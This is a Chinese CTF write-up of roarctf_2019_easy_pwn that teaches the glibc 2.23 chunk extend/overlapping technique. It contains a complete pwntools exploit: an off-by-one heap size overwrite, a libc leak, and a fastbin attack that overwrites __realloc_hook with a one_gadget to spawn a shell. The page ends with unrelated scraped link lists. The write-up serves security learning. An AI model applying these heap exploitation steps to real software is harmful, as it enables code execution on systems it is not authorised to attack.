linux_pwn(3)--Chunk Extend and Overlapping&&roarctf_2019_easy_pwn

2023-05-16

文章目录

  • What is Chunk Extend and Overlapping
  • pwn题思路
  • 例题
    • 保护机制
    • add函数
    • show函数
    • delete函数
    • edit函数
  • 开始做题
    • 准备框架
    • 调试
      • 覆盖后面一个块的大小
      • 释放
      • 堆块free验证机制
      • 尝试修改堆块
      • 开始泄露libc
      • 任意地址写
  • 总结

What is Chunk Extend and Overlapping

Chunk Extend and Overlapping就是当我们可以控制chunk的header时候,通过修改原有块的头大小,产生堆块重叠
在这里插入图片描述
比如说原来的两个堆块都是0x21大小,通过修改第一个块的头部,使他大小覆盖第2个块
而在比赛题目里,有些时候会在bss段保存堆地址和堆大小,所以我们需要free大堆块再malloc同样大小的堆块,就可以完全控制被覆盖的块的内容,由于被覆盖的块可能存在指针或者使可以用来泄露libc地址,所以可以进一步利用

pwn题思路

有同学可能会问了,因为一般我们不可以直接修改头部,所以要想修改头部还需要溢出,既然可以溢出了为什么不直接修改下一个块呢?
这是个好问题,所以ctf一般喜欢出0ff by one,只能溢出一个字节,那么这个字节就只能修改大小,所以就相当了这种利用方法
当然如果遇见off by one的题目还可以使用unlink来做,但下面我要举的例题不能用unlink

例题

roarctf_2019_easy_pwn

保护机制

可以看到开启了地址随机化,所以不能用unlink
因为unlink需要知道bss的地址(因为bss保存了chunk地址),那么这里由于随机化,我们无法得到bss的地址,所以只能用chunk extend来做
在这里插入图片描述

add函数

这个题目的保护算是比较好的了,专门在bss记录了填入的大小
在这里插入图片描述

show函数

没什么好说的,主要用来泄露libc地址
在这里插入图片描述

delete函数

这个delete函数算是比较安全的了,指针也清零了,内容也完全清零了
在这里插入图片描述

edit函数

万恶之源
如果输入的size刚好是原有的size+10,那么可以多写一个字节,(虽然不知道为什么会这样设计,当然在真实的项目里如果有人这样写那腿肯定要被打断)
在这里插入图片描述

开始做题

准备框架

#! /usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcheronline

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./roarctf_2019_easy_pwn_debug"
elf = ELF(elf_path)
context(arch=elf.arch, os="linux", log_level="debug")
if "debug" in elf_path:
    libc_path = elf.linker.decode().replace("ld", "./libc")
    libc = ELF(libc_path)
else:
    libc_path = ""


if len(sys.argv) > 1:
    remote_ip = "node4.buuoj.cn"
    remote_port = 28370

    io = remote(remote_ip, remote_port)
else:
    if libc_path != "":
        io = process(elf_path, env={"LD_PRELOAD": libc_path})
    else:
        io = process(elf_path)


def debug():
    gdbscript = """
    x/5xg $rebase(0x202040)
    """
    gdb.attach(io, gdbscript=gdbscript)


def add(size: int):
    sla(b"choice: ", b"1")
    sla(b"size:", str(size).encode())


# off by one
def edit(index: int, size: int, content: bytes):
    sla(b"choice: ", b"2")
    sla(b"index:", str(index).encode())
    sla(b"size:", str(size).encode())
    sla(b"content:", content)


def free(index: int):
    sla(b"choice: ", b"3")
    sla(b"index:", str(index).encode())


def show(index: int):
    sla(b"choice: ", b"4")
    sla(b"index:", str(index).encode())

调试

注意哦,add时候大小不要写错
一个大小为0x20的堆块,可以填写的内容是0x18,所以在malloc源码里面有这么一个宏

#define request2size(req)                                         \
  (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)  ?             \
   MINSIZE :                                                      \
   ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
 #define MALLOC_ALIGN_MASK      (MALLOC_ALIGNMENT - 1)
#define MALLOC_ALIGNMENT       (2 * SIZE_SZ)
#define MINSIZE  \
  (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
 #define MIN_CHUNK_SIZE        (sizeof(struct malloc_chunk))
struct malloc_chunk {
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;
};

SIZE_SZ在32位是4字节,64位是8字节
所以上面代码在64位

if (req)  <9:
0x20
else:
  ((req) + 0x17) & (0xfffffff0)

所以在64位下有下面这张表

0x200x300x40
0~0x180x19~0x280x29~-0x38

然后0xn8(除了0x8)是特别特殊的一个值,因为如果选择了这个值,表明下一个块的pre_size也要被我们完全占用,所以一般如果存在off-by-one的漏洞都需要分配这个大小

覆盖后面一个块的大小

add(0x18)
add(0x18)
edit(0, 0x18 + 10, p64(0) * 3 + p8(0x61))
debug()
it()

在这里插入图片描述
可以看到确实大小被改了

释放

add(0x18)
add(0x18)
edit(0, 0x18 + 10, p64(0) * 3 + p8(0x61))
free(1)
debug()
it()

结果程序挂了,通过上面的图也可以发现,因为我们把整个堆块改的不合理,top chunk已经没了

堆块free验证机制

参见libc free源码
由于这里不是mmap分配的,所以主要有以下三个步骤

p = mem2chunk (mem);#就是把指针-0x10,从data部分转到header
  ar_ptr = arena_for_chunk (p);
  _int_free (ar_ptr, p, 0);
#define arena_for_chunk(ptr) \
  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)
#define NON_MAIN_ARENA 0x4

arena_for_chunk ,这个其实就是取M标记位,虽然__libc_free前面已经做过了这方面的验证,但不知道这里为什么还要验证一下,其实我感觉可以直接把main_arena的地址取来

然后在__int_free里面有个check_inuse_chunk(av, p)检查

#define next_chunk(p) ((mchunkptr) (((char *) (p)) + ((p)->size & ~SIZE_BITS)))
static void
do_check_inuse_chunk (mstate av, mchunkptr p)
{
  mchunkptr next;
  do_check_chunk (av, p);//这个检查有兴趣可以google一下,我大概看了一下,没什么特别的地方
  if (chunk_is_mmapped (p))
    return; /* mmapped chunks have no next/prev */

  /* Check whether it claims to be in use ... */
  assert (inuse (p));

  next = next_chunk (p);//所以这里我们要能够找到next_chunk

  /* ... and is surrounded by OK chunks.
     Since more things can be checked with free chunks than inuse ones,
     if an inuse chunk borders them and debug is on, it's worth doing them.
   */
  if (!prev_inuse (p))
    {
      /* Note that we cannot even look at prev unless it is not inuse */
      mchunkptr prv = prev_chunk (p);
      assert (next_chunk (prv) == p);
      do_check_free_chunk (av, prv);
    }

  if (next == av->top)
    {
      assert (prev_inuse (next));
      assert (chunksize (next) >= MINSIZE);
    }
  else if (!inuse (next))
    do_check_free_chunk (av, next);
}

这里面怎么说呢,其实主要还是check了一下整个的完整性,你不能说随便修改了大小,然后我们在调试的时候可以发现,如果我们随便修改了一个块的大小,可能会找不到top_chunk,所以我们构造的时候还需要能够保持结构的完整性

尝试修改堆块

这里面首先我们要配置这样几个堆

add(0x18)//用来修改第二个堆的大小
add(0x18)///用来覆盖第三个堆
add(0x88)//这个因为要把他变成unsorted bin,因为unsorted bin为空的时候,释放一个unsorted bin会使fd,bk指向main_arena+0x58
add(0x10)//防止和top chunk合并

相当于我们要让第二个块吞并第三块
在这里插入图片描述

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
debug()
it()

在这里插入图片描述
这个时候可以保证我们这个结构没有被破坏掉,下面尝试是否可以释放

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
debug()
it()

在这里插入图片描述
尝试申请

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
debug()
it()

在这里插入图片描述

观察bss区域
可以看到第二行和第三行重叠了,说明成功了
在这里插入图片描述

说到这里我插一句题外话,网上其他payload甚至还需要伪造一块,其实不需要
只能说libc-2.23这个管理机制漏洞很多,我们如果可以修改头,其实只要保证可以正常指向top_chunk,就可以任意造成Chunk Extend

开始泄露libc

这个时候由于清空的原因,0x88 chunk的头不见了,所以我们需要补上
在这里插入图片描述

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
edit(1, len(p64(0) * 3 + p64(0x91)), p64(0) * 3 + p64(0x91))
free(2)
debug()
it()

这个时候由于unosrted bin的原因,可以看到chunk2 的指针,我们可以通过show读取出来,这个时候其实是看不见chunk 2的,因为我们是从第一块分配的也就是chunk 0开始往上找,由于Chunk overlapping,所以系统不会发现还有重叠的块,但还是可以释放掉,因为如果从它开始,也可以找到结尾的top_chunk ,但注意,如果我们把91改成90,就会报错,因为我们通过libc_free的源码,如果这个块的prev_inuse为否,他会尝试去检查完整性,所以我们只能设为1,这样他不会去找prev_chunk

 if (!prev_inuse (p))
    {
      /* Note that we cannot even look at prev unless it is not inuse */
      mchunkptr prv = prev_chunk (p); //这里会异常
      assert (next_chunk (prv) == p);
      do_check_free_chunk (av, prv);
    }

在这里插入图片描述在这里插入图片描述

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
edit(1, len(p64(0) * 3 + p64(0x91)), p64(0) * 3 + p64(0x91))
free(2)
show(1)
debug()
it()

可以看到泄露的地址,下面就是转化成libc_base
在这里插入图片描述

任意地址写

这里需要绕过一个验证,就是你fd指针指向的区域,size要一样
所以我们选取free_hook -0x13的位置,刚好是7f
那么怎么做呢,看下面代码

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
edit(1, len(p64(0) * 3 + p64(0x91)), p64(0) * 3 + p64(0x91))
free(2)
show(1)
ru(b"\x91\x00\x00\x00\x00\x00\x00\x00")
libc_base = u64(r(8)) - 0x00007FC021D90B78 + 0x7FC0219CC000
libc = ELF("./libc-2.23.so")
system_addr = libc_base + libc.sym["system"]
//上面就是获得地址
add(0x68)//先添加一个大小为70的块,这个在重叠区,编号为2,我们要后释放,这样才有fd指针
add(0x68)//添加一个用来先释放的
free(4)
free(2)
debug()
it()

我们接下来就是找mallo_hook上方有没有size一样的地方

提醒
fastbin attack不能打__free_hook,因为__free_hook上面是io,而io很多时候是会在malloc中变化的,我第一次还觉得奇怪为什么报错,结果发现断在__int_malloc的时候__free_hook周围都是0
这里由于是relloc_hook,所以我们选择relloc_hook-0x1b

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
edit(1, len(p64(0) * 3 + p64(0x91)), p64(0) * 3 + p64(0x91))
free(2)
show(1)
ru(b"\x91\x00\x00\x00\x00\x00\x00\x00")
libc_base = u64(r(8)) - 0x00007FC021D90B78 + 0x7FC0219CC000
libc = ELF("./libc-2.23.so")
system_addr = libc_base + 0xF1147
relloc_hook_addr = libc_base + libc.sym["__realloc_hook"]
add(0x68)
add(0x68)
free(4)
free(2)

payload = p64(0) * 3 + p64(0x71) + p64(relloc_hook_addr - 0x1B)
edit(1, len(payload), payload)

add(0x68)
add(0x68)

下面就是如何覆盖__relloc_hook
首先把relloc_hook覆盖成one_gadget里面的execuve,同时这里还需要平衡栈,但我暂时不懂原理,过几天研究一下

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
edit(1, len(p64(0) * 3 + p64(0x91)), p64(0) * 3 + p64(0x91))
free(2)
show(1)
ru(b"\x91\x00\x00\x00\x00\x00\x00\x00")
libc_base = u64(r(8)) - 0x00007FC021D90B78 + 0x7FC0219CC000
libc = ELF("./libc-2.23.so")
system_addr = libc_base + 0xF1147
relloc_hook_addr = libc_base + libc.sym["__realloc_hook"]
add(0x68)
add(0x68)
free(4)
free(2)

payload = p64(0) * 3 + p64(0x71) + p64(relloc_hook_addr - 0x1B)
edit(1, len(payload), payload)

add(0x68)
add(0x68)
relloc_addr = libc_base + libc.sym["realloc"]
payload = b"a" * (0xB) + p64(system_addr) + p64(relloc_addr + 4)
edit(4, len(payload), payload)
add(0x10)
it()

总结

Chunk Extend and Overlapping其实归根到底只是一种利用方式,但根本的安全威胁还是堆溢出,虽然你别看我溢出了一个字节,但其实基本可以直接影响堆管理器
而且这种off by one的漏洞出现还是比较经常的,特别是很容易溢出字符串结尾的\0

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

linux_pwn(3)--Chunk Extend and Overlapping&&roarctf_2019_easy_pwn 的相关文章

  • 如何在 Vim 中突出显示 Bash 脚本?

    我的 Vim 编辑器自动突出显示 PHP 文件 vim file php HTML 文件 vim file html 等等 但是当我输入 vim file在里面写一个Bash脚本 它不会突出显示它 我如何告诉 Vim 将其突出显示为 Bas
  • PIL 的 Image.show() 带来*两个*不同的查看器

    在 python shell 中处理图像时 我使用 image show 其中 image 是 Image 的实例 很久以前什么也没发生 但在定义了一个名为 xv 的 Mirage 符号链接后 我很高兴 最近几天 show 将显示 Imag
  • 应用程序中两个不同版本的库

    考虑一个场景 其中有两个不同版本的共享库 考虑 A 1 so 链接到 B so A 2 so 链接到 C so 现在 B so 和 C so 都链接到 d exe 当 B so 想要调用 A 1 so 中的函数时 它最终会调用 A 2 so
  • 我想在 Red Hat Linux 服务器中执行 .ps1 powershell 脚本

    我有一个在窗口中执行的 ps1 powershell 脚本 但我的整个数据都在 Linux 服务器中 有什么可能的方法可以让我在红帽服务器中执行 powershell 脚本 powershell脚本是 Clear Host path D D
  • Linux 内核使用的设备树文件 (dtb) 可视化工具? [关闭]

    Closed 这个问题正在寻求书籍 工具 软件库等的推荐 不满足堆栈溢出指南 help closed questions 目前不接受答案 我正在寻找一个可以图形化表示Linux内核中使用的硬件设备树的工具 我正在尝试了解特定 Arm 芯片组
  • 使用 shell 脚本发送 HTML 邮件

    如何使用 shell 脚本发送 HTML 电子邮件 首先 您需要撰写消息 最低限度由这两个标头组成 MIME Version 1 0 Content Type text html 以及适当的消息正文 p Hello world p 获得后
  • 在ubuntu中打开spyder

    我想在ubuntu中打开spyder Python IDE 通常我会在 shell 中编写 spyder 它会打开spyder IDE 现在 当我在shell中编写spyder时 它只是换行 什么也没有发生 类似于按 enter 我如何找回
  • bash 将输出重定向到文件,但结果不完整

    重定向命令输出的问题已经被问过很多次了 但是我有一个奇怪的行为 我使用的是 bash shell debian 版本 4 3 30 1 release 并尝试将输出重定向到文件 但并非所有内容都记录在文件中 我尝试运行的 bin 文件是 l
  • 更新Linux中的包含路径

    我的 my path to file 文件夹中有几个头文件 我知道如何将这些文件包含在新的 C 程序中 但每次我都需要在包含它之前输入头文件的完整路径 我可以在linux中设置一些路径变量 以便它自动查找头文件吗 您可以创建一个 makef
  • 为什么此 NASM 代码会打印我的环境变量?

    本学期我刚刚完成计算机体系结构课程 除其他外 我们一直在涉足 MIPS 汇编并在 MARS 模拟器中运行它 今天 出于好奇 我开始在我的 Ubuntu 机器上摆弄 NASM 基本上只是将教程中的内容拼凑起来 并感受一下 NASM 与 MIP
  • Linux shell 从用户输入中获取设备 ID

    我正在为一个程序编写安装脚本 该程序需要在其配置中使用 lsusb 的设备 ID 因此我正在考虑执行以下操作 usblist lsusb put the list into a array for each line use the arr
  • “git add”返回“致命:外部存储库”错误

    我刚刚进入 git 的奇妙世界 我必须提交我对程序所做的一系列更改 位于名为的目录中 var www myapp 我创建了一个新目录 home mylogin gitclone 从这个目录中 我做了一个git clone针对公共回购 我能够
  • 在 x86 汇编语言中获取文件大小的简单方法

    假设我已经在汇编中打开了一个文件 并且在寄存器 eax 中有该文件的文件句柄 我将如何获取文件的大小 以便为其分配足够的缓冲区空间 我在这里研究了另一个讨论 建议使用sys fstat 28 系统调用来获取文件统计信息但无法实现它 My a
  • 嵌入清单文件以要求具有 mingw32 的管理员执行级别

    我正在 ubuntu 下使用 i586 mingw32msvc 交叉编译应用程序 我很难理解如何嵌入清单文件以要求 mingw32 具有管理员执行级别 对于我的例子 我使用了这个hello c int main return 0 这个资源文
  • 为 Linux 编译 Objective-C 应用程序(API 覆盖范围)

    我可能在这里问一些奇怪的问题 但我不确定从哪里开始 问题是我正在考虑使用 Obj C 和 Foundation 类在 Mac 上编写一个命令行工具 但存在一个非常大的风险 那就是我希望能够为不同的 Linux 发行版编译它 以便将来作为服务
  • 来自守护程序的错误响应:加入会话密钥环:创建会话密钥:超出磁盘配额

    我尝试在我的服务器上安装 docker 使用本教程 https docs docker com install linux docker ce ubuntu 我想远程运行 docker 镜像并使用 portainer Web 界面来管理一切
  • Python 3.4.3 subprocess.Popen 在没有管道的情况下获取命令的输出?

    我试图将命令的输出分配给变量 而不让命令认为它正在通过管道传输 原因是 如果正在通过管道传输 则相关命令会给出未格式化的文本作为输出 但如果从终端运行 则会给出颜色格式化的文本 我需要获取这种颜色格式的文本 到目前为止我已经尝试了一些事情
  • 如何才能将 TCP 连接返回到同一端口?

    机器是 RHEL 5 3 内核 2 6 18 有时我在 netstat 中注意到我的应用程序有连接 建立了 TCP 连接本地地址 and 国外地址是一样的 其他人也报告了同样的问题 症状与链接中描述的相同 客户端连接到本地运行的服务器的端口
  • 批量删除文件名中包含 BASH 中特殊字符的子字符串

    我的目录中有一个文件列表 opencv calib3d so2410 so opencv contrib so2410 so opencv core so2410 so opencv features2d so2410 so opencv
  • 在内核代码中查找函数的最佳方法[关闭]

    Closed 这个问题不符合堆栈溢出指南 help closed questions 目前不接受答案 我开始浏览内核代码 遇到的一件事是如何跟踪函数调用 结构定义等 有没有一种好的方法可以快速跳转到函数定义并退出 我尝试过 Source N

随机推荐

  • Unable to resolve module react-native-pager-view

    报错信息 Unable to resolve module react native pager view from home apex wp expo jsjs node modules 64 ant design react nativ
  • Expo开发Field: splash.image - cannot access file at ‘./assets/splash.png‘

    报错信息 Error Problems validating asset fields in app json Learn more https docs expo io Field splash image cannot access f
  • Expo开发的App如果获取版本信息

    如何获取版本信息 xff0c 实际上很简单 但是我第一次使用expo获取版本信息 xff0c 还是查看了好多expo的文档才找到 所以就记录一下吧 版本信息配置app json span class token punctuation sp
  • React Native每次进入页面执行一次方法

    问 xff1a 有什么办法 可以在我每次进入页面的时候 执行一次方法吗 因为我看rn的生命周期 都是只执行一次 然后在下次进入的时候就不会再执行方法了 答 xff1a 在function组件中可以这样实现 xff1a span class
  • http隧道Chisel

    http隧道有啥用呢 xff1f 有些服务器封端口或者封协议只能走http协议 远程维护机器很不方便 xff0c 可能要VPN 43 堡垒机 xff0c 甚至还有限制了ssh客户端的 这里我就会考虑使用http隧道的方式 同类文章推荐 xf
  • Sockets代理的使用简介

    如果拥有了Sockets代理服务后 xff0c 应该如何使用它呢 xff1f 本文就简单介绍一下 xff0c 本人的经验分享 浏览器代理 以firefox为例 xff0c 其他浏览器类似 很简单 xff0c 看下图应该就能明白 设置好代理后
  • cannot drop a user that is currently connected

    删除用户时 xff0c 提示正在连接的用户无法删除 那就强制断开连接吧 xff01 错误信息 SQL span class token operator gt span drop user usr sg cascade span class
  • ModuleNotFoundError: No module named ‘setuptools_rust‘

    我在执行pip3 install webssh遇到以下的报错信息 报错信息 Traceback most recent call last File line 1 in File tmp pip build my9sai1o cryptog
  • 无限渗透实战(2)--绕过认证上校园网

    校园网大家都熟悉 一般都是开放的 xff0c 然后连接之后有个登录页面 xff0c 认证之后就可以上网了 xff0c 那么我们怎么绕过认证直接上网 首先还是开始监听周围的ap 可以看到有许多的校园网 那么我们就需要开始监听周围的校园网 xf
  • spring boot jar自定义端口启动

    java jar spring zs 1 0 jar server port span class token operator 61 span 9090
  • CentOS7中安装五笔输入法

    使用vnc远程了一点服务 xff0c 远程维护 GNOME默认自带的是ibus输入平台 默认有一个拼音输入法 但是我日常使用五笔打拼音还是不太习惯 xff0c 那就安装个五笔输入吧 相关阅读 xff1a Centos7安装和配置VNC服务器
  • CentOS7下vscode无响应

    原因分析 xff1a 我以前安装vscode是可以正常使用的啊 为什么现在不行了呢 xff1f 我怀疑会不会是新版的兼容性不行 我安装的是code 1 58 2 1626302881 el8 x86 64 rpm 后来在看到这篇文章 Cen
  • Bad owner or permissions on ~/.ssh/config

    ssh运行报错如下 xff1a Bad owner or permissions on ssh config 解决办法 span class token function chmod span 600 ssh config 参考 https
  • java.lang.NoClassDefFoundError: org/owasp/encoder/Encode

    一个老的spring boot项目中使用到了shiro xff0c 存在安全漏洞 xff0c 由于源码丢失 xff0c 只好采用解压jar升级里面shiro的jar来解决了 但是升级以后遇到报错如下 报错信息 Caused by java
  • A VNC server is already running as :1

    现象 VNC服务使用 Centos7安装和配置VNC服务器 GNOME篇 https blog csdn net lxyoucan article details 113179208 中的配置方法 一开始服务都是正常的 xff0c 在我多次
  • CentOS7+IntellJ IDEA 中文输入问题

    心血来潮在CentOS7中搭建了java开发环境 xff0c 发现在IDEA中输入中文存在问题 中文输入法只能输入1到2个中文 xff0c 后面都是英文了 xff0c 那就想办法解决一下吧 xff01 环境 我的环境信息如下 xff1a 项
  • CentOS7安装CMakev3.21.0

    yum 安装的CMake版本是 2 8 12 2 xff0c 比较旧无法使用 那就来升级一下吧 cmake span class token keyword span CMake Error at CMakeLists txt 1 span
  • CentOS7+VNC+Openbox+Fcitx

    文章目录 简介VNCopenboxFcitx 实战环境信息安装与自动配置脚本创建用户开启 VNC服务 客户端连接VNC实现远程控制假如vnc中输入法切不出来参考 简介 VNC VNC xff08 Virtual Network Comput
  • vnc学习笔记合集

    文章目录 CentOS7 43 VNC 43 Openbox 43 FcitxCentOS中VNC常用命令Centos7安装和配置VNC服务器 GNOME篇Centos7安装和配置VNC服务器 Xfce篇Centos7安装和配置VNC服务器
  • linux_pwn(3)--Chunk Extend and Overlapping&&roarctf_2019_easy_pwn

    文章目录 What is Chunk Extend and Overlappingpwn题思路例题保护机制add函数show函数delete函数edit函数 开始做题准备框架调试覆盖后面一个块的大小释放堆块free验证机制尝试修改堆块开始泄